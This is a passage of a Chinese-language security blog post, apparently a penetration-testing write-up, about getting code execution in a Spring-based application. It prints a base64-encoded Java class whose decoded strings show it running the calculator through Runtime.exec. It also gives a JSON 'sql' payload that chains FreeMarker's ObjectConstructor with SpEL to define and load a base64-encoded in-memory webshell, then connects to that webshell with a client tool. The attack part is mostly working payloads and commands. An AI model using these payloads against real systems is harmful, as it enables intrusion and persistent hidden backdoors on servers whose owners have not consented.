style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">javac SessionDataUtil.java</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">//编码命令</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">base64 -i SessionDataUtil.class</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">//输出</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">yv66vgAAADQAIgoAFAAVCAAWCgAUABcHABgKAAkAGQoABwAaBwAbCgAHABkHABwBAAhjYWxjRXhlYwEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAA1TdGFja01hcFRhYmxlBwAYAQAGPGluaXQ+AQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAUU2Vzc2lvbkRhdGFVdGlsLmphdmEHAB0MAB4AHwEABGNhbGMMACAAIQEAE2phdmEvbGFuZy9FeGNlcHRpb24MABAACwwACgALAQAlb3JnL3NwcmluZ2ZyYW1ld29yay9mL1Nlc3Npb25EYXRhVXRpbAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABwAJAAAAAAADABgACgALAAEADAAAAEMAAgABAAAADrgAARICtgADV6cABEuxAAEAAAAJAAwABAACAA0AAAAOAAMAAAAGAAkABwANAAkADgAAAAcAAkwHAA8AAAEAEAALAAEADAAAACgAAQABAAAACCq3AAW4AAaxAAAAAQANAAAADgADAAAACwAEAAwABwANAAgAEQALAAEADAAAACUAAgAAAAAACbsAB1m3AAhXsQAAAAEADQAAAAoAAgAAAA8ACAAQAAEAEgAAAAIAEw==</span></span></p></section></section></section><section style="margin-bottom:unset;"><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section></section><section style="margin-bottom:unset;"><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section></section><section style="margin-bottom:unset;"><section style="margin-bottom:unset;"><section data-support="96编辑器" style="text-align:center;margin-bottom:unset;" data-mp-plugin="96weixin"><section style="margin-top: 40px;margin-right: auto;margin-left: auto;"><section style="display:inline-block;margin-bottom:unset;"><section style="width: 31px;margin-right: -16px;margin-left: auto;margin-bottom: unset;"><section nodeleaf=""><img src="/uploads/2025/04/0f4e7d84358568e6e01dd65dba5ba993.png" style="vertical-align:bottom;"></section></section><section style="display:flex;justify-content:center;align-items:flex-start;margin-bottom:unset;margin-top:-14px;transform:rotateZ(0deg);-webkit-transform:rotateZ(0deg);-moz-transform:rotateZ(0deg);-ms-transform:rotateZ(0deg);-o-transform:rotateZ(0deg);"><section style="margin-right:3px;margin-bottom:unset;"><section style="margin-left:auto;width:13px;height:22px;background-color:#56a2f8;margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="width: 26px;margin-top: 6px;transform: rotateZ(0deg);"><section nodeleaf=""><img src="/uploads/2025/04/e0fca24df69eea4eecb30f39c6d61300.png" style="vertical-align:bottom;"></section></section></section><section style="background-color: rgb(0, 99, 218);padding: 8px 22px;margin-bottom: unset;"><p style="color:#fff;font-size:16px;letter-spacing:2px;"><strong data-aibrush="text"><span leaf="">内存马注入</span></strong></p></section></section></section></section></section></section><section data-support="96编辑器" style="margin-bottom:unset;" data-mp-plugin="96weixin"><section style="background-color: rgb(254, 254, 254);padding: 5px 12px 15px;margin-top: 20px;margin-right: 10px;margin-left: 10px;margin-bottom: unset;"><section style="margin-bottom:unset;"><section style="margin-bottom:unset;" data-mp-plugin="96weixin"><section style="margin-top:15px;margin-bottom:unset;"><p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l0 level1 lfo1;"><span style='font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">1.</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">java-memshell-generator</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">生成内存马</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;text-align:left;line-height:150%;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">工具地址：</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#0000ff;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">https://github.com/pen4uin/java-memshell-generator</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">，</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">注入器类名要与payload中definClass方法中要加载的类名一致。</span></span></strong><span leaf=""><br></span></p>
<p><span leaf=""><br></span></p>
<section nodeleaf=""><img src="/uploads/2025/04/6a0e8cf48133ae0a601e6b98f3a27205.png" style="vertical-align:bottom;" alt="image.png"></section><p><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l1 level1 lfo2;"><span style='font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">2.</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">修改payload，加载内存马，成功则返回如图所示。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;border-top:1.0000pt solid #000000;mso-border-top-alt:0.5000pt solid #000000;border-right:1.0000pt solid #000000;mso-border-right-alt:0.5000pt solid #000000;border-bottom:1.0000pt solid #000000;mso-border-bottom-alt:0.5000pt solid #000000;border-left:1.0000pt solid #000000;mso-border-left-alt:0.5000pt solid #000000;padding:1pt 4pt 1pt 4pt;text-align:left;line-height:150%;background:#f2f2f2;background-clip: initial;-webkit-background-clip: initial;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">{"sql":"select '${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"{T(org.springframework.cglib.core.ReflectUtils).defineClass(\\\"org.springframework.f.SessionDataUtilssss\\\",T(java.util.Base64).getDecoder().decode(\\\"[此处填写base64编码的内存马文件]\\\"),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName(\\\"org.springframework.expression.ExpressionParser\\\"))}\").getValue()}'"}</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span></p>
<section nodeleaf=""><img src="/uploads/2025/04/9f92cfd21dd1c454ff21d255ba36dd58.png" style="vertical-align:bottom;" alt="image.png"></section><p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;text-align:left;line-height:150%;"><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l2 level1 lfo3;"><span style='font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">3.</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">选择对应工具，连接内存马。</span></span><span leaf=""><br></span></p>
<section nodeleaf=""><img src="/uploads/2025/04/da384ac5ae9918cc0858947167d5f268.png" style="vertical-align: bottom;width: 100%;height: auto;" alt="image.png"></section></section></section></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section></section></section></section><section style="margin-bottom:unset;"><section style="margin-top:40px;margin-bottom:unset;" data-mp-plugin="96weixin"><section data-align="title" style="text-align:center;margin-bottom:unset;"><section style="display:inline-block;margin-bottom:unset;"><section style="width: 5.6em;margin-top: -20px;margin-right: -20px;margin-left: auto;transform: rotateZ(0deg);"><p><span leaf=""><br></span></p></section></section></section></section></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section></section></section><section style="margin-bottom: unset;" data-mp-plugin="96weixin"><section style="text-align: center;" nodeleaf=""><img src="/uploads/2025/04/1fd5de7ba3930c73a6c4108f467eed01.png"></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p><br/><br/>            </div>
                    </div>
    </div>
        
    <div class="posts-share lay-fx lay-ai-c">
    <div>
        分享    </div>
    <div class="cc-element--wrapper share-69b42e7649b08--wrapper" >
<style style-id="share-69b42e7649b08">
[node-id="share-69b42e7649b08"].cc-share ul li img{width:44;
        height:44;}
</style>
<div node-id="share-69b42e7649b08" node-type="share" class="cc-share" >
    <div class="share-label"></div>
    <ul>
        
                <li>
                    <a href="javascript:_share_.weibo();">
                        <img src="/dist/theme/static/imgs/icon-weibo.png" alt="weibo">
                    </a>
                </li>
                
                <li>
                    <a href="javascript:_share_.wechat();">
                        <img src="/dist/theme/static/imgs/icon-wechat.png" alt="wechat">
                    </a>
                </li>
                
                <li>
                    <a href="javascript:_share_.QQ();">
                        <img src="/dist/theme/static/imgs/icon-qq.png" alt="QQ">
                    </a>
                </li>
                
                <li>
                    <a href="javascript:_share_.qzone();">
                        <img src="/dist/theme/static/imgs/icon-qzone.png" alt="qzone">
                    </a>
                </li>
                    </ul>
</div>

<script>(function() {
    useComponent('share').default({"id":"share-69b42e7649b08","options":[]})
})()</script></div></div>

</div>

            </div>
            <div class="Page-sidebar sidebar-right  ">
                            </div>

                    </div>

                <div class="Page-footer">
            <div class="Page-slot--template-footer" template_type="global" template_position="template-footer" template_id="6"><div node-id="id-98-mn89rwmr19" node-type="row" class="cc-row cc-slot--wrapper cc-row--flex cc-row--justify__start cc-row--align__top cc-row--width__row">
<style style-id="id-98-mn89rwmr19">
[node-id="id-98-mn89rwmr19"]{background-color:rgba(248, 248, 248, 1);}
</style>
<script>(function() {
    useComponent('row').default({"id":"id-98-mn89rwmr19","options":{"full-width":"row","adaption-height":"no","background-video":"","noheader-full-height":"no","auto-flex":[],"auto-flex-enable":"no"}})
})()</script><div node-id="id-50-lh5pcgg368" node-type="column" class="cc-col cc-slot--wrapper cc-col--align__top cc-col--justify__start cc-col-24 cc-col-xl-24 cc-col-lg3-24 cc-col-lg2-24 cc-col-lg-24 cc-col-md-24 cc-col-sm-24 cc-col-xs-24"><script>(function() {
    useComponent('column').default({"id":"id-50-lh5pcgg368","options":[]})
})()</script><div class="cc-element--wrapper id-18-l7q5sfufuu--wrapper" >
        <div node-id="id-18-l7q5sfufuu" node-type="block" class="cc-block cc-slot--wrapper">
<style style-id="id-18-l7q5sfufuu">
@media only screen and (max-width: 767px) {[node-id="id-18-l7q5sfufuu"]{padding-right:10px;padding-left:10px;} 
}@media only screen and (min-width: 768px) {[node-id="id-18-l7q5sfufuu"]{padding-right:50px;padding-left:50px;} 
}@media only screen and (min-width: 1600px) {[node-id="id-18-l7q5sfufuu"]{padding-right:15px;padding-left:15px;} 
}
</style>
<script>(function() {
    useComponent('block').default({"id":"id-18-l7q5sfufuu","options":[]})
})()</script><div node-id="id-26-kiyhis6jex" node-type="row" class="cc-row cc-slot--wrapper cc-row--flex cc-row--justify__start cc-row--align__top cc-row--width__default">
<style style-id="id-26-kiyhis6jex">
[node-id="id-26-kiyhis6jex"]{border-bottom-color:rgba(0, 0, 0, 0.06);border-bottom-width:1px;padding-bottom:20px;border-style:solid;} 
@media only screen and (max-width: 767px) {[node-id="id-26-kiyhis6jex"]{padding-top:40px;} 
}@media only screen and (min-width: 768px) {[node-id="id-26-kiyhis6jex"]{padding-top:40px;} 
}@media only screen and (min-width: 1600px) {[node-id="id-26-kiyhis6jex"]{padding-top:50px;} 
}
</style>
<script>(function() {
    useComponent('row').default({"id":"id-26-kiyhis6jex","options":{"full-width":"default","adaption-height":"no","background-video":"","noheader-full-height":"no","auto-flex":[],"auto-flex-enable":"no"}})
})()</script><div node-id="id-75-kbwnpblgyb" node-type="column" class="cc-col cc-slot--wrapper cc-col--align__top cc-col--justify__start cc-col-2 cc-col-xl-2 cc-col-lg3-2 cc-col-lg2-2 cc-col-lg-2 cc-col-md-2 cc-col-sm-2 cc-col-xs-5"><script>(function() {
    useComponent('column').default({"id":"id-75-kbwnpblgyb","options":[]})
})()</script><div class="cc-element--wrapper id-21-oe6eqxse4n--wrapper" >
<style style-id="id-21-oe6eqxse4n">
[node-id="id-21-oe6eqxse4n"] .cc-textblock__body{padding: 0px;}
</style>
<div node-id="id-21-oe6eqxse4n" node-type="textblock" class="cc-textblock" >
    <div class="cc-textblock__body richtext">
        <p>友情链接：</p>    </div>
</div>

<script>(function() {
    useComponent('textblock').default({"id":"id-21-oe6eqxse4n","options":[]})
})()</script></div></div><div node-id="id-63-q75fsdsswb" node-type="column" class="cc-col cc-slot--wrapper cc-col--align__top cc-col--justify__start cc-col-22 cc-col-xl-22 cc-col-lg3-22 cc-col-lg2-22 cc-col-lg-22 cc-col-md-22 cc-col-sm-22 cc-col-xs-19"><script>(function() {
    useComponent('column').default({"id":"id-63-q75fsdsswb","options":[]})
})()</script><div class="cc-element--wrapper id-99-jc0fgyqz20--wrapper" >
<style style-id="id-99-jc0fgyqz20">
[node-id="id-99-jc0fgyqz20"]{transform:translateX(0px) translateY(-2px) ;} 
[node-id="id-99-jc0fgyqz20"].cc-menu.cc-menu--vertical  .cc-menu--nav  .cc-menu--item{box-sizing:border-box;} 
[node-id="id-99-jc0fgyqz20"].cc-menu--style__line .line_box{background:rgba(255, 255, 255, 0);} 
[node-id="id-99-jc0fgyqz20"].cc-menu--style__line .cc-menu--item.current > .line_box{width:100%;} 
[node-id="id-99-jc0fgyqz20"] li.menu{color:#000000;} 
[node-id="id-99-jc0fgyqz20"] .icon-active{color:#3c3c3c!important;} 
[node-id="id-99-jc0fgyqz20"] .item-icon-active{color:#3c3c3c!important;} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--item  a{font-size:16px;} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--item .cc-menu--nav > .cc-menu--item a{font-size:15px;} 
[node-id="id-99-jc0fgyqz20"].cc-menu--horizontal{text-align:left;} 
[node-id="id-99-jc0fgyqz20"].cc-menu--horizontal > .cc-menu--nav > .cc-menu--item{height:32px;line-height:32px;padding:0 20px;margin:0px 0px;} 
[node-id="id-99-jc0fgyqz20"].cc-menu--vertical > .cc-menu--nav > .cc-menu--item{margin:0px 0;} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--item .cc-menu--item .cc-menu--item__link{height:43px;line-height:43px;margin:0px 0;} 
[node-id="id-99-jc0fgyqz20"].cc-menu--vertical .cc-menu--item{line-height:32px;} 
[node-id="id-99-jc0fgyqz20"].cc-menu--style__default .cc-menu--item,
                    [node-id="id-99-jc0fgyqz20"].cc-menu--style__line > .cc-menu--nav >.cc-menu--item{background-color:rgba(255, 255, 255, 0);} 
[node-id="id-99-jc0fgyqz20"].cc-menu--style__default .cc-menu--item.block,
                    [node-id="id-99-jc0fgyqz20"].cc-menu--style__default .cc-menu--item.current,
                    [node-id="id-99-jc0fgyqz20"].cc-menu--style__default .cc-menu--item:hover{background-color:rgba(255, 255, 255, 0);} 
[node-id="id-99-jc0fgyqz20"]{font-size:16px;} 
[node-id="id-99-jc0fgyqz20"].cc-menu--style__line .cc-menu--item.block,
                    [node-id="id-99-jc0fgyqz20"].cc-menu--style__line .cc-menu--item.current,
                    [node-id="id-99-jc0fgyqz20"].cc-menu--style__line .cc-menu--item:hover{border-bottom-color:rgba(255, 255, 255, 0);} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--item__link{color:#666666;} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--item.block > .cc-menu--item__link,
                    [node-id="id-99-jc0fgyqz20"] .cc-menu--item.current > .cc-menu--item__link,
                    [node-id="id-99-jc0fgyqz20"] .cc-menu--item:hover > .cc-menu--item__link{color:#E95A30;} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--item .cc-menu--item{background-color:#00b5ae;} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--item .cc-menu--item.block,
    [node-id="id-99-jc0fgyqz20"] .cc-menu--item .cc-menu--item.current,
    [node-id="id-99-jc0fgyqz20"] .cc-menu--item .cc-menu--item:hover,
    [node-id="id-99-jc0fgyqz20"].cc-menu--style__default .cc-menu--item .cc-menu--item.block,
    [node-id="id-99-jc0fgyqz20"].cc-menu--style__default .cc-menu--item .cc-menu--item.current,
    [node-id="id-99-jc0fgyqz20"].cc-menu--style__default .cc-menu--item .cc-menu--item:hover,
    [node-id="id-99-jc0fgyqz20"].cc-menu--line-main .cc-menu--item .cc-menu--item.block,
    [node-id="id-99-jc0fgyqz20"].cc-menu--line-main .cc-menu--item .cc-menu--item.current,
    [node-id="id-99-jc0fgyqz20"].cc-menu--line-main .cc-menu--item .cc-menu--item:hover{background-color:#009892;} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--item .cc-menu--item .cc-menu--item__link{color:#fff;text-align:left;} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--item .cc-menu--item.current > .cc-menu--item__link{color:#fff;text-align:left;} 
[node-id="id-99-jc0fgyqz20"].cc-menu--style__default .cc-menu--item .cc-menu--item.block > .cc-menu--item__link,
                [node-id="id-99-jc0fgyqz20"].cc-menu--style__default .cc-menu--item .cc-menu--item.current > .cc-menu--item__link,
                [node-id="id-99-jc0fgyqz20"].cc-menu--style__default .cc-menu--item .cc-menu--item:hover > .cc-menu--item__link,
                [node-id="id-99-jc0fgyqz20"].cc-menu--line-main .cc-menu--item .cc-menu--item.block > .cc-menu--item__link,
                [node-id="id-99-jc0fgyqz20"].cc-menu--line-main .cc-menu--item .cc-menu--item.current > .cc-menu--item__link,
                [node-id="id-99-jc0fgyqz20"].cc-menu--line-main .cc-menu--item .cc-menu--item:hover > .cc-menu--item__link{color:#fff;} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--item .cc-menu--item__link{justify-content:flex-start;text-align:left;} 
[node-id="id-99-jc0fgyqz20"].cc-menu--auto > .cc-menu--nav{font-size:16px;} 
[node-id="id-99-jc0fgyqz20"].cc-menu--style__line .cc-menu--nav .cc-menu--item .cc-menu--item:hover > .cc-menu--item__link{color:#fff;} 
[node-id="id-99-jc0fgyqz20"].cc-menu.cc-menu--auto__mini .item-icon-active{color:#3c3c3c!important;} 
@media only screen and (max-width:767px){[node-id="id-99-jc0fgyqz20"].cc-menu--auto .cc-menu--expand__header{display:block;} 
[node-id="id-99-jc0fgyqz20"].cc-menu--auto > .cc-menu--nav{display: none;
        opacity: 0;
        /*position: fixed;*/
        position: relative;
        z-index: 25;
        width: 100%;
        left: 0;
        top: 50px;
        height: calc(100% - 50px);
        padding: 0 10px;
        box-sizing: border-box;
        overflow: hidden;
        overflow-y: auto;} 
} 
@media only screen and (max-width: 767px){[node-id="id-99-jc0fgyqz20"] .cc-menu--item a{font-size:14px;} 
[node-id="id-99-jc0fgyqz20"]  .cc-menu--item .cc-menu--nav > .cc-menu--item a{font-size:16px;} 
[node-id="id-99-jc0fgyqz20"].cc-menu--horizontal > .cc-menu--nav > .cc-menu--item{height:30px;line-height:30px;padding:0 10px;} 
[node-id="id-99-jc0fgyqz20"].cc-menu--vertical > .cc-menu--nav > .cc-menu--item{margin:10px 0;} 
[node-id="id-99-jc0fgyqz20"].cc-menu--vertical .cc-menu--item{line-height:30px;} 
[node-id="id-99-jc0fgyqz20"].cc-menu--style__default .cc-menu--item{background-color:rgba(255, 255, 255, 0);} 
[node-id="id-99-jc0fgyqz20"].cc-menu--style__default .cc-menu--item.block,
                    [node-id="id-99-jc0fgyqz20"].cc-menu--style__default .cc-menu--item.current,
                    [node-id="id-99-jc0fgyqz20"].cc-menu--style__default .cc-menu--item:hover{background-color:rgba(37, 34, 34, 0);} 
[node-id="id-99-jc0fgyqz20"].cc-menu--style__line .cc-menu--item.block,
                    [node-id="id-99-jc0fgyqz20"].cc-menu--style__line .cc-menu--item.current,
                    [node-id="id-99-jc0fgyqz20"].cc-menu--style__line .cc-menu--item:hover{border-bottom-color:rgba(37, 34, 34, 0);} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--item__link{color:#666666;} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--item.block > .cc-menu--item__link,
    [node-id="id-99-jc0fgyqz20"] .cc-menu--item.current > .cc-menu--item__link,
    [node-id="id-99-jc0fgyqz20"] .cc-menu--item:hover > .cc-menu--item__link{color:#E95A30;} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--item .cc-menu--item{background-color:#00b5ae;} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--item.block > .cc-menu--item__link,
                    [node-id="id-99-jc0fgyqz20"] .cc-menu--item.current > .cc-menu--item__link,
                    [node-id="id-99-jc0fgyqz20"] .cc-menu--item:hover > .cc-menu--item__link{color:#E95A30;} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--item .cc-menu--item{background-color:#00b5ae;} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--item .cc-menu--item.block,
                    [node-id="id-99-jc0fgyqz20"] .cc-menu--item .cc-menu--item.current,
                    [node-id="id-99-jc0fgyqz20"] .cc-menu--item .cc-menu--item:hover,
                    [node-id="id-99-jc0fgyqz20"].cc-menu--style__default .cc-menu--item .cc-menu--item.block,
                    [node-id="id-99-jc0fgyqz20"].cc-menu--style__default .cc-menu--item .cc-menu--item.current,
                    [node-id="id-99-jc0fgyqz20"].cc-menu--style__default .cc-menu--item .cc-menu--item:hover,
                    [node-id="id-99-jc0fgyqz20"].cc-menu--line-main .cc-menu--item .cc-menu--item.block,
                    [node-id="id-99-jc0fgyqz20"].cc-menu--line-main .cc-menu--item .cc-menu--item.current,
                    [node-id="id-99-jc0fgyqz20"].cc-menu--line-main .cc-menu--item .cc-menu--item:hover{background-color:#009892;} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--item .cc-menu--item .cc-menu--item__link{color:#fff;} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--trigger i{color:#000000;} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--item .cc-menu--item.block > .cc-menu--item__link,
                    [node-id="id-99-jc0fgyqz20"] .cc-menu--item .cc-menu--item.current > .cc-menu--item__link,
                    [node-id="id-99-jc0fgyqz20"] .cc-menu--item .cc-menu--item:hover > .cc-menu--item__link{color:#fff;} 
[node-id="id-99-jc0fgyqz20"].cc-menu.cc-menu--auto__mini .cc-menu--trigger i{color:#000000;} 
[node-id="id-99-jc0fgyqz20"] .cc-menu--item .cc-menu--item .cc-menu--item__link{height:43px;line-height:43px;margin:0px 0;} 
} 
@media screen and (min-width: 767px){[node-id="id-99-jc0fgyqz20"].cc-menu>.cc-menu--nav>.cc-menu--item::after{content: "";
            position: absolute;
            right: 0;
            top: 0;
            height: 12px;
            bottom: 0;
            margin: auto;
            width: 1px;
            background-color: #d1d1d1;} 
[node-id="id-99-jc0fgyqz20"].cc-menu>.cc-menu--nav>:nth-last-of-type(1)::after{content: "";
            position: absolute;
            right: 0;
            top: 10%;
            height: 0px;
            bottom: 10%;
            width: 0px;} 
} 
@media only screen and (min-width: 767px){}
</style>
<div node-id="id-99-jc0fgyqz20" node-type="menu" class="cc-menu cc-menu--style__default cc-menu--horizontal cc-menu--line-main" >
            <ul class="cc-menu--nav">
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_blank" href="https://www.djbh.net/" >
                            <span class="cc-menu--item__title">
                                网络安全等级保护网
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_self" href="http://www.trimps.net.cn/" >
                            <span class="cc-menu--item__title">
                                公安部第三研究所认证中心
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_blank" href="https://www.oscca.gov.cn/sca/xwdt/2024-11/11/content_1061214.shtml" >
                            <span class="cc-menu--item__title">
                                国家密码局
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_blank" href="https://www.cacrnet.org.cn/" >
                            <span class="cc-menu--item__title">
                                中国密码学会
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_blank" href="https://wap.miit.gov.cn/" >
                            <span class="cc-menu--item__title">
                                工业和信息化部
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_blank" href="https://www.tc260.org.cn/" >
                            <span class="cc-menu--item__title">
                                全国网络安全标准化技术委员会
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_blank" href="https://www.itsec.gov.cn/" >
                            <span class="cc-menu--item__title">
                                中国信息安全测评中心
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_blank" href="https://www.china-nea.cn/" >
                            <span class="cc-menu--item__title">
                                中国核能行业协会
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_blank" href="http://www.nea.gov.cn/" >
                            <span class="cc-menu--item__title">
                                国家能源局
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
            <div class="cc-menu--item__link">
                <a  target="_blank" href="https://www.cac.gov.cn/" >
                            <span class="cc-menu--item__title">
                                中国网信网
                            </span>
                            
                        </a>
                
            </div>
            
        </li>
    
        <li class="cc-menu--item">
